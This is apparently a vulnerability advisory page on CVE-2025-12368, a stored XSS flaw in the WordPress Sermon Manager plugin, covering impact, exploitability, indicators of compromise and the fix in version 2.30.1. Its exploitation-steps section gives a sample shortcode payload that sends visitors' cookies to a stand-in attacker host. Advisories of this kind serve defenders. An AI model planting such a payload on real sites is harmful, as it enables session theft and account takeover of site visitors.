CVE-2025-12368
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-12368 is a Stored Cross-Site Scripting (XSS) vulnerability in the Sermon Manager plugin for WordPress, affecting all versions up to and including 2.30.0. The flaw exists in the sermon-views shortcode due to insufficient input sanitization and output escaping on user-supplied attributes. It was published on December 5, 2025, and assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The vulnerability resides in the entry-views.php file (specifically around line 114 in version 2.30.0), where user-supplied attributes passed to the sermon-views shortcode are neither properly sanitized on input nor escaped on output. An authenticated attacker with at least Contributor-level access can embed a malicious shortcode containing arbitrary JavaScript into a WordPress page or post; the script executes in the browser of any user who subsequently visits the affected page (Wordfence, ENISA EUVD).

Impact

Successful exploitation allows an authenticated attacker to persistently inject malicious JavaScript that executes in the context of any site visitor's browser, impacting confidentiality (e.g., session cookie theft, credential harvesting) and integrity (e.g., page content manipulation, phishing redirects). Availability is not directly impacted. Because the injected script runs in a changed scope (affecting visitors beyond the attacker's own session), the potential for widespread user compromise on high-traffic WordPress sites is significant (Wordfence, ENISA EUVD).

Exploitability

No public proof-of-concept exploit code or in-the-wild exploitation has been reported as of the available data. The vulnerability requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated flaws. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence, ENISA EUVD).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Sermon Manager plugin at version 2.30.0 or earlier using tools like WPScan or by inspecting plugin metadata in publicly accessible readme.txt files.
  2. Obtain Contributor access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
  3. Craft malicious shortcode: Create a WordPress post or page containing the sermon-views shortcode with a malicious attribute, e.g., [sermon-views attribute="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
  4. Publish or submit content: Submit the post/page for publication (Contributors may require editor approval, but the payload is stored in the database regardless).
  5. Trigger execution: When any site visitor (including administrators) loads the page containing the injected shortcode, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence).

Indicators of compromise

  • Logs: WordPress database or audit logs showing insertion of [sermon-views] shortcode content containing <script>, javascript:, or encoded variants (e.g., &#x3C;script&#x3E;) by low-privileged user accounts.
  • File System: Unexpected modifications to post/page content in the WordPress database (wp_posts table) containing obfuscated or encoded JavaScript within shortcode attributes.
  • Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages containing the sermon-views shortcode, potentially carrying cookie or session data in query parameters.
  • Logs: Web server access logs showing repeated access to pages containing the sermon-views shortcode from diverse IP addresses following content submission by a Contributor account.

Mitigation and workarounds

Site administrators should update the Sermon Manager plugin to version 2.30.1 or later, which contains the fix for this vulnerability (Wordfence). As an interim workaround, restrict Contributor-level user registration and review existing Contributor accounts for suspicious content submissions. Web Application Firewalls (WAFs) with XSS filtering rules can provide additional defense-in-depth. Audit existing posts and pages for malicious shortcode content if the site has untrusted Contributor accounts.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2024-13784CRITICAL9.8
  • arforms-form-builder
NoYesAug 16, 2026
CVE-2026-17087HIGH7.5
  • wp-travel-engine
NoYesAug 16, 2026
CVE-2026-2497HIGH7.2
  • gallery-plugin
NoYesAug 16, 2026
CVE-2026-17608MEDIUM6.5
  • wp-compress-image-optimizer
NoYesAug 16, 2026
CVE-2026-2357MEDIUM6.4
  • bold-page-builder
NoYesAug 16, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management